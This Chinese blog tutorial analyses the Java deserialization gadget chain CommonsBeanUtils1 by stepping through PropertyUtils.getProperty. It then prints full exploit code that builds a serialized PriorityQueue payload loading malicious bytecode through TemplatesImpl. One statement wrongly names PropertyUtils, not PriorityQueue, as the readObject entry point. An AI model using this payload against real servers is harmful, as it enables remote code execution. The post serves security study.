Java反序列化-CommonsBeanUtils 1链分析

环境搭建

        <dependency>
            <groupId>commons-beanutils</groupId>
            <artifactId>commons-beanutils</artifactId>
            <version>1.8.3</version>
        </dependency>

image.png

什么是JavaBean

符合这种定义的 class 叫做JavaBean

//读方法
public Type getHz()

//写方法:
public void setHz(Type value)

演示

Person.java代码:

package CB;

public class Person {
    private String name;
    private int age;

    public Person(String name,int age){
        this.name = name;
        this.age = age;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }
}

主程序代码 Bean.java:

package CB;

import org.apache.commons.beanutils.PropertyUtils;

public class Bean {
    public static void main(String[] args) throws Exception {
        Person person = new Person("cike_y",18);
        System.out.println(PropertyUtils.getProperty(person,"age"));
    }
}

运行代码之后可以看见,输出了 age变量
image.png
它相当于调用 Person类的 getAge方法
image.png

CB1链原理

断点分析 getProperty

我们已经知道了,只要符合 JavaBean格式的class,都可以调用这个 PropertyUtils类的这个getProperty方法。所以现在我们可以断掉调试一下。
image.png
点击去 getProperty方法看一下调用过程
image.png
然后来到这里,然后按F7
image.png
这里也调用了 getProperty,点进去看一下
image.png
然后来到了这里,可以看见调用了 getNestedProperty 方法
image.png
继续按 F7 来到了 getNestedProperty 方法的具体构造。这些是 判断 bean 是否为空,不用管
image.png
然后直到来到这里,按F7
image.png
然后 按F8来到这里,可以看见是之前熟悉的 反射以及调用
image.png
可以发现 之前的属性变量age 首字母变成了大写 Age,然后自动加上了 get 拼接 Age 变成了 getAge方法。
这个时候就能理解为什么调用这个方法的时候会自动调用 Person中的 getAge()方法进行读取
image.png
最后再进行反射调用,读取的方法,以及对象类型
image.png
最后再返回内容
image.png
image.png

getProperty的利用

通过断点分析,我们知道了,getProperty方法会将 name属性值的命名结构改为驼峰格式
image.png
所以我们需要找能够加载恶意字节码或者命令执行的一个类的方法,用这种方式进行调用
image.png
实际上 TemplatesImpl 类中 getOutputProperties这个方法刚好符合这个结构,而且前面是get字符串,也调用了之前CC3链中的 用过的newTransformer方法,这个方法可以加载我们恶意的字节码,从而达到命令执行。

CB1链子构造

CC3尾部链拼接getProperty

我们知道了 getOutputProperties方法调用了 newTransformer,那么我们就可以将之前CC3的尾部链放进来进行拼接构造链子。
exp代码构造:

package CB;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.PropertyUtils;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Bean {
    public static void main(String[] args) throws Exception {
//        Person person = new Person("cike_y",18);
//        System.out.println(PropertyUtils.getProperty(person,"age"));


        //CC3尾部链
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> c = templates.getClass();
        Field name = c.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"a");

        Field bytecodes = c.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));
        byte[][] codes = {eval};
        bytecodes.set(templates,codes);

        Field tfactory = c.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

//CB1中的getProperty调用getOutputProperties方法,从而调用 newTransformer,然后加载字节码
        PropertyUtils.getProperty(templates,"outputProperties");

    }
}

可以看见命令执行成功
image.png

入口链的寻找

我们的目的是反序列化的时候执行代码,我们需要寻找 谁调用了 getProperty这个方法。
image.png
可以看见这里有一个很熟悉的方法,是CC2中的 利用过的compare 方法,需要使用优先队列。
image.png
这是CC2的流程图
image.png
我们可以去 PriorityQueue类的 readObject方法看一下怎么调用 compare方法的
image.png
然后点进这个函数
image.png
再点进这个函数
image.png
可以发现,PriorityQueue类的readObject方法调用了 compare方法
image.png
至此我们分析到了 入口链是 PropertyUtils类,这个类的readObject方法调用了 compare方法,当我们反序列化的时候会自动调用。
所以构造链如下:

PropertyUtils类反序列化的时候调用compare ->  PropertyUtils.getProperty -> 
-> TemplatesImpl.getOutputProperties -> TemplatesImpl.newTransformer -> 
TemplatesImpl.getTransletInstance -> 恶意字节码

CB1链exp代码构造

我们现在知道CB1的链子流程了,从而构造exp代码:

package CB;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class Bean {
    public static void main(String[] args) throws Exception {

        //CC3尾部链
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> c = templates.getClass();
        Field name = c.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"a");

        Field bytecodes = c.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));
        byte[][] codes = {eval};
        bytecodes.set(templates,codes);

        Field tfactory = c.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

        BeanComparator beanComparator = new BeanComparator("outputProperties");


        //CC2 部分的 优先队列

        priorityQueue.add(templates);
        priorityQueue.add(1);

        Class<? extends PriorityQueue> pc = priorityQueue.getClass();
        Field comparator = pc.getDeclaredField("comparator");
        comparator.setAccessible(true);
        comparator.set(priorityQueue,beanComparator);


        serialize(priorityQueue);
        unserialize("ser.bin");

    }

    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }


}

可以看见命令执行成功
image.png

总结

这个链子打服务器的时候,比如服务器使用的是 1.8.3,那么反序列化构造链的时候版本也要对的上,否则会出现报错什么的。这条链子是一个比较重要的链子,后续的shiro框架漏洞都会用到。

  • 23
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

cike_y

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值